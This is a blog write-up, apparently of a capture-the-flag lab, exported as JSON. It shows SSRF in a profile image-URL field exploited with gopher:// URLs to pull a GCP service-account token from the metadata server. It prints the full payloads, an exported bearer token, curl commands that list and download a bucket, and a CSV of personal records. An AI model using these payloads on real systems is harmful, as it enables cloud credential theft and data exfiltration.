{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"exploiting-ssrf-with-gopher-for-gcp-initial-access-lq6yy","url":"https://zyvop.com/exploiting-ssrf-with-gopher-for-gcp-initial-access-lq6yy","title":"Exploiting SSRF with Gopher for GCP Initial Access","subtitle":null,"tldr":"Gave an IPV4:35.226.245.121 Direct access is a web site CTRL + U View source code found a buckethttps://storage.googleapis.com/gigantic-retail/shop/image4.jpg S...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["Gave an IPV4:35.226.245.121 Direct access is a web site CTRL + U View source code found a buckethttps://storage.googleapis.com/gigantic-retail/shop/image4.jpg Same as before, still no permissions Click slowly to find a profile.php Allows us to update various details and set a personal photo.","And we are not asked to upload images, but we are asked to provide the URL path of the image.","This looks like a potential SSRF (Server Side Request Forgery) vulnerability if the backend PHP code does not adequately validate user-supplied input."],"headings":[],"outboundLinks":["https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt"],"contentText":"Gave an IPV4:35.226.245.121 Direct access is a web site CTRL + U View source code found a buckethttps://storage.googleapis.com/gigantic-retail/shop/image4.jpg Same as before, still no permissions Click slowly to find a profile.php Allows us to update various details and set a personal photo. And we are not asked to upload images, but we are asked to provide the URL path of the image. This looks like a potential SSRF (Server Side Request Forgery) vulnerability if the backend PHP code does not adequately validate user-supplied input. Try to access internal servicesmetadata metadata interface: http://metadata.google.internal/computeMetadata/v1/project/project-id Prompt no permission: Because we lack customizationMetadata-Flavor:GoogleHTTP header information. What happens if we include this header in the request we send to the server? That won't work because it needs to be set in a forced server request. Think of us as PHP supportgopherWe can encapsulate HTTP requests in Gopher URLsgopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/-compute@developer.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a Analyze this payload Crafted Request: Try it: Successfully obtained a file namedbucketviewer@gr-proj-1.iam.gserviceaccount.comCustom service account for Then add in the payloadbucketviewer@gr-proj-1.iam.gserviceaccount.com/tokenWe will get the access token for the service account!gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a We might think of using tokens in Google Cloud CLI (gcloud), butgcloudTypically rely on service account key files (JSON format) or user account credentials for authentication rather than access tokens. But we can setGOOGLE_ACCESS_TOKENenvironment variables and use cURL to make authenticated requests to GCP API endpoints Use it to view bucket contents export GOOGLE_ACCESS_TOKEN='ya29.c.c0ASRK0Gaay4gSAsLfeodu7gLpJkHrYnXd5jt t5XL_x98KgMOyS6elnznIMkJ6DugGKAmwZ-DQxxsXhbi-THpY8M_3UCt3SRkg5I9Qyi1eLH7D7yTKhwoVicq4Yn_G-j8AbU9z-kkKxJdqLggbzBHU1CU6mUmvhihBx a9cBBT9nkTUhWMOMFcAeeNa958WrrJGbcruuKdBs98tw-aWIRF7no6EzM7ZnIOGsFQb7gCLBNF7LDr-X8PSwBhf2RiUD4p4tD03SubTSASm8bGCzo7vK4V_iGP8H0H VQEQkdm7jX5FSSstEoDOePcfOR4bzl8PhFRw-j2_9lx0pbZiyRxzGLrgiBTNZt_OmnoUG7dUQ-A15m2AbvLUOi2cVVgQ34QE391AJkxRYSreVr1fkxvgtOhVtReujW tYIv3_eOZJawMMiFdhq1jagURf26vFZ1hR_a7Qxq4bFbB00qQyqadlbFZ6gxdOkq4fp7I7R__W-u98S_g4mY3sg0JMc6m3v1e8BB2ulWU3ajf09FlIJvX2QIQ8XXuw Vc4Umqkgh4zur9g-8w_ZyQWt-k3acbyW2V719zeBsfc6dOX2_Xqbxng-z6y-m8xFgxui57ncQlYV5vpygn2qXkU3jZz52V4n4FucaexooRvsWSRdo5qVj_JhZBUU2M WauZO24xZmp7f4FOr_3U8eZ-yaoWQfr_pBp7VZjJob291j_qdzXn8Iq0xY1Wv01FJ4cRkUYwjnXZWgoeemjwc-xVzeozxwkfj-ZIYh4m6O5MrI3_p-QmRoXuFfg0ug wtZXacqYVniYWzFRIp6fhkfVIndkyqVpkWXz66uhiY8YZcZMQ2xaV1u3us-sRrjB6OdJhY-n-zgm3hVy9vtebFeUd0B0dl5BwrdnJZz-FYI44nOqBy-_fJu7arsvIU qMqpe_BViFg53yc8hntsOr59w2cvsi-kuU1_dh7g3SB6dnBbu65l-i2gY8cVfYcQzr8o_WgVt3vg4JJ1Uosp_3SnWpgxn58Rmc' root@None:~/veinmind-tools/plugins/go/veinmind-minio# curl -H \"Authorization: Bearer $GOOGLE_ACCESS_TOKEN\" \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o\" { \"kind\": \"storage#objects\", \"items\": [ { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/images//1703694086172510\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2F\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2F?generation=1703694086172510&alt=media\", \"name\": \"images/\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703694086172510\", \"metageneration\": \"1\", \"contentType\": \"text/plain\", \"storageClass\": \"STANDARD\", \"size\": \"0\", \"md5Hash\": \"1B2M2Y8AsgTpgAmY7PhCfg==\", \"crc32c\": \"AAAAAA==\", \"etag\": \"CN7ev4aDsIMDEAE=\", \"temporaryHold\": false, \"eventBasedHold\": false, \"timeCreated\": \"2023-12-27T16:21:26.216Z\", \"updated\": \"2023-12-27T16:21:26.216Z\", \"timeStorageClassUpdated\": \"2023-12-27T16:21:26.216Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/images/retail1.jpg/1703874774500023\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail1.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail1.jpg?generation=1703874774500023&alt=media\", \"name\": \"images/retail1.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703874774500023\", \"metageneration\": \"2\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"4313677\", \"md5Hash\": \"ZOukVmKAkPpbH2PMqjfXUQ==\", \"crc32c\": \"rEzh6g==\", \"etag\": \"CLeFtJWktYMDEAI=\", \"timeCreated\": \"2023-12-29T18:32:54.538Z\", \"updated\": \"2023-12-29T18:33:07.537Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:32:54.538Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/images/retail2.jpg/1703874772845638\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail2.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail2.jpg?generation=1703874772845638&alt=media\", \"name\": \"images/retail2.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703874772845638\", \"metageneration\": \"2\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"2509625\", \"md5Hash\": \"ziETE5NFrKmmKSZNx5C8rg==\", \"crc32c\": \"XU/P4A==\", \"etag\": \"CMaIz5SktYMDEAI=\", \"timeCreated\": \"2023-12-29T18:32:52.883Z\", \"updated\": \"2023-12-29T18:33:19.568Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:32:52.883Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/images/retail3.jpg/1703874772954271\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail3.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail3.jpg?generation=1703874772954271&alt=media\", \"name\": \"images/retail3.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703874772954271\", \"metageneration\": \"2\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"4221422\", \"md5Hash\": \"MsNHVuKuyOBGjFibhZKD7A==\", \"crc32c\": \"3SYEaA==\", \"etag\": \"CJ/Z1ZSktYMDEAI=\", \"timeCreated\": \"2023-12-29T18:32:52.991Z\", \"updated\": \"2023-12-29T18:33:34.421Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:32:52.991Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/images/retail4.jpg/1703874772744341\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail4.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail4.jpg?generation=1703874772744341&alt=media\", \"name\": \"images/retail4.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703874772744341\", \"metageneration\": \"2\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"2569696\", \"md5Hash\": \"LOi120wE1+5N3JTnhmDIDA==\", \"crc32c\": \"XM5hQA==\", \"etag\": \"CJXxyJSktYMDEAI=\", \"timeCreated\": \"2023-12-29T18:32:52.783Z\", \"updated\": \"2023-12-29T18:33:47.191Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:32:52.783Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/shop//1703694108672871\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2F\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2F?generation=1703694108672871&alt=media\", \"name\": \"shop/\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703694108672871\", \"metageneration\": \"1\", \"contentType\": \"text/plain\", \"storageClass\": \"STANDARD\", \"size\": \"0\", \"md5Hash\": \"1B2M2Y8AsgTpgAmY7PhCfg==\", \"crc32c\": \"AAAAAA==\", \"etag\": \"COeGnZGDsIMDEAE=\", \"temporaryHold\": false, \"eventBasedHold\": false, \"timeCreated\": \"2023-12-27T16:21:48.717Z\", \"updated\": \"2023-12-27T16:21:48.717Z\", \"timeStorageClassUpdated\": \"2023-12-27T16:21:48.717Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/shop/image1.avif/1703873501183008\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage1.avif\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage1.avif?generation=1703873501183008&alt=media\", \"name\": \"shop/image1.avif\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703873501183008\", \"metageneration\": \"1\", \"contentType\": \"image/avif\", \"storageClass\": \"STANDARD\", \"size\": \"21910\", \"md5Hash\": \"gONbx90L/f5UwjILBXQR8w==\", \"crc32c\": \"vGlDhw==\", \"etag\": \"CKD4nraftYMDEAE=\", \"timeCreated\": \"2023-12-29T18:11:41.223Z\", \"updated\": \"2023-12-29T18:11:41.223Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:11:41.223Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/shop/image2.jpg/1703873529194025\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage2.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage2.jpg?generation=1703873529194025&alt=media\", \"name\": \"shop/image2.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703873529194025\", \"metageneration\": \"1\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"49508\", \"md5Hash\": \"Lnxdkch/YFdVEzLbjs8GcQ==\", \"crc32c\": \"EAZ3yQ==\", \"etag\": \"CKnMzMOftYMDEAE=\", \"timeCreated\": \"2023-12-29T18:12:09.232Z\", \"updated\": \"2023-12-29T18:12:09.232Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:12:09.232Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/shop/image3.webp/1703873572569343\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage3.webp\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage3.webp?generation=1703873572569343&alt=media\", \"name\": \"shop/image3.webp\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703873572569343\", \"metageneration\": \"1\", \"contentType\": \"image/webp\", \"storageClass\": \"STANDARD\", \"size\": \"38096\", \"md5Hash\": \"+3UmgYL67/IYIa5xgFFAtA==\", \"crc32c\": \"ZFrdAA==\", \"etag\": \"CP+BpNiftYMDEAE=\", \"timeCreated\": \"2023-12-29T18:12:52.608Z\", \"updated\": \"2023-12-29T18:12:52.608Z\", \"timeStorageClassUpdated\": \"2023-12-29T18:12:52.608Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/shop/image4.jpg/1703878196790476\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage4.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage4.jpg?generation=1703878196790476&alt=media\", \"name\": \"shop/image4.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703878196790476\", \"metageneration\": \"2\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"330459\", \"md5Hash\": \"TPRtwzdVkfMI5RI1EO7+Sg==\", \"crc32c\": \"aLT8Ow==\", \"etag\": \"CMyJpPWwtYMDEAI=\", \"timeCreated\": \"2023-12-29T19:29:56.829Z\", \"updated\": \"2023-12-29T19:30:15.131Z\", \"timeStorageClassUpdated\": \"2023-12-29T19:29:56.829Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/shop/image5.jpg/1703877954511133\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage5.jpg\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage5.jpg?generation=1703877954511133&alt=media\", \"name\": \"shop/image5.jpg\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703877954511133\", \"metageneration\": \"2\", \"contentType\": \"image/jpeg\", \"storageClass\": \"STANDARD\", \"size\": \"104713\", \"md5Hash\": \"0+cCEhDEy22Q9SqoYlP1pg==\", \"crc32c\": \"imsC9g==\", \"etag\": \"CJ3C4IGwtYMDEAI=\", \"timeCreated\": \"2023-12-29T19:25:54.585Z\", \"updated\": \"2023-12-29T19:26:08.043Z\", \"timeStorageClassUpdated\": \"2023-12-29T19:25:54.585Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/userdata//1703771211799112\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2F\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2F?generation=1703771211799112&alt=media\", \"name\": \"userdata/\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703771211799112\", \"metageneration\": \"1\", \"contentType\": \"text/plain\", \"storageClass\": \"STANDARD\", \"size\": \"0\", \"md5Hash\": \"1B2M2Y8AsgTpgAmY7PhCfg==\", \"crc32c\": \"AAAAAA==\", \"etag\": \"CMi07q6isoMDEAE=\", \"temporaryHold\": false, \"eventBasedHold\": false, \"timeCreated\": \"2023-12-28T13:46:51.848Z\", \"updated\": \"2023-12-28T13:46:51.848Z\", \"timeStorageClassUpdated\": \"2023-12-28T13:46:51.848Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/userdata/flag.txt/1703771329072518\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media\", \"name\": \"userdata/flag.txt\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703771329072518\", \"metageneration\": \"1\", \"contentType\": \"text/plain\", \"storageClass\": \"STANDARD\", \"size\": \"33\", \"md5Hash\": \"J+PDkjepBufLwKoiCflv2w==\", \"crc32c\": \"/H+7+Q==\", \"etag\": \"CIab5OaisoMDEAE=\", \"timeCreated\": \"2023-12-28T13:48:49.125Z\", \"updated\": \"2023-12-28T13:48:49.125Z\", \"timeStorageClassUpdated\": \"2023-12-28T13:48:49.125Z\" }, { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/userdata/user_data.csv/1703877006716190\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media\", \"name\": \"userdata/user_data.csv\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703877006716190\", \"metageneration\": \"1\", \"contentType\": \"text/csv\", \"storageClass\": \"STANDARD\", \"size\": \"2388\", \"md5Hash\": \"JMvLqhSoe2s9FX6JlXGmxw==\", \"crc32c\": \"2XJ9cA==\", \"etag\": \"CJ7a572stYMDEAE=\", \"timeCreated\": \"2023-12-29T19:10:06.754Z\", \"updated\": \"2023-12-29T19:10:06.754Z\", \"timeStorageClassUpdated\": \"2023-12-29T19:10:06.754Z\" } ] } root@None:~/veinmind-tools/plugins/go/veinmind-minio#Get picked upmediaLinkThe direct link to the download object provided by the field.https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media curl -H \"Authorization: Bearer $GOOGLE_ACCESS_TOKEN\" \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media\" curl -H \"Authorization: Bearer $GOOGLE_ACCESS_TOKEN\" \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media\" Name,Address,PhoneNumber,Email,Job Title,Company John Doe,123 Main St, Seattle, WA 98101,555-1234,john.doe@novasoft.com,Software Engineer,Nova Software Solutions Jane Smith,456 Oak Ave, Boston, MA 02110,555-5678,jane.smith@bluebaytech.com,Project Manager,Blue Bay Technologies Bob Johnson,789 Pine Rd, Austin, TX 78701,555-9012,bob.johnson@creativedge.com,Graphic Designer,Creative Edge Design Alice Williams,101 Cedar Lane, Denver, CO 80202,555-3456,alice.williams@peakhr.com,HR Specialist,Peak Human Resources Charlie Brown,202 Maple Blvd, Chicago, IL 60601,555-7890,charlie.brown@marketgenius.com,Marketing Director,Market Genius Inc. Emily Davis,303 Elm Street, San Francisco, CA 94102,555-2345,emily.davis@zenithfinance.com,Financial Analyst,Zenith Finance Michael Miller,404 Birch Lane, New York, NY 10001,555-6789,michael.miller@techfrontier.com,IT Consultant,Tech Frontier Olivia Wilson,505 Pinecrest Rd, Miami, FL 33101,555-0123,olivia.wilson@sunrealty.com,Real Estate Agent,Sunshine Realty David Taylor,606 Oakwood Ave, Philadelphia, PA 19106,555-4567,david.taylor@arcopartners.com,Architect,Arco Partners Sophia Anderson,707 Maple Court, Las Vegas, NV 89101,555-8901,sophia.anderson@nextstepsales.com,Sales Manager,Next Step Sales Daniel Harris,808 Cedar Rd, Atlanta, GA 30301,555-2341,daniel.harris@webworlddev.com,Web Developer,Web World Development Grace Thomas,909 Birch Blvd, Minneapolis, MN 55401,555-6785,grace.thomas@biogenresearch.com,Clinical Researcher,Biogen Research Labs Isaac Martinez,1010 Oak Lane, Portland, OR 97201,555-0129,isaac.martinez@eduworld.com,Teacher,EduWorld Schools Ella Rodriguez,1111 Pine Ave, Dallas, TX 75201,555-4563,ella.rodriguez@mediavista.com,Journalist,Media Vista James Smith,1212 Cedar Street, Orlando, FL 32801,555-8907,james.smith@legalpros.com,Attorney,Legal Pros LLP Ava Johnson,1313 Elm Rd, Phoenix, AZ 85001,555-2349,ava.johnson@idinteriors.com,Interior Designer,Innovative Designs Liam Davis,1414 Maple Lane, Raleigh, NC 27601,555-6783,liam.davis@gourmetchef.com,Chef,Gourmet Chef Culinary Mia Wilson,1515 Pine Blvd, Cleveland, OH 44101,555-0127,mia.wilson@sigmapharma.com,Pharmacist,Sigma Pharmacy Noah Taylor,1616 Birch Ave, Nashville, TN 37201,555-4561,noah.taylor@truetecheng.com,Engineer,TrueTech Engineering Sophie Brown,1717 Oakwood Rd, Kansas City, MO 64101,555-8905,sophie.brown@fitnation.com,Fitness Trainer,FitNationflag curl -H \"Authorization: Bearer $GOOGLE_ACCESS_TOKEN\" \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt\" { \"kind\": \"storage#object\", \"id\": \"gigantic-retail/userdata/flag.txt/1703771329072518\", \"selfLink\": \"https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt\", \"mediaLink\": \"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media\", \"name\": \"userdata/flag.txt\", \"bucket\": \"gigantic-retail\", \"generation\": \"1703771329072518\", \"metageneration\": \"1\", \"contentType\": \"text/plain\", \"storageClass\": \"STANDARD\", \"size\": \"33\", \"md5Hash\": \"J+PDkjepBufLwKoiCflv2w==\", \"crc32c\": \"/H+7+Q==\", \"etag\": \"CIab5OaisoMDEAE=\", \"timeCreated\": \"2023-12-28T13:48:49.125Z\", \"updated\": \"2023-12-28T13:48:49.125Z\", \"timeStorageClassUpdated\": \"2023-12-28T13:48:49.125Z\" }","contentHash":"sha256:3f634797586c672447e57c5fc3336584d0dcac1c74b46c0886a434e5c31bc6b8","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Software engineers and developers building applications with software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":8,"wordCount":1998,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:10:37.464Z","updatedAt":"2026-08-19T00:30:00.307Z","canonicalUrl":"https://www.cdxiaodong.life/article/gcp_security_ssrf-gopher-initial-access"}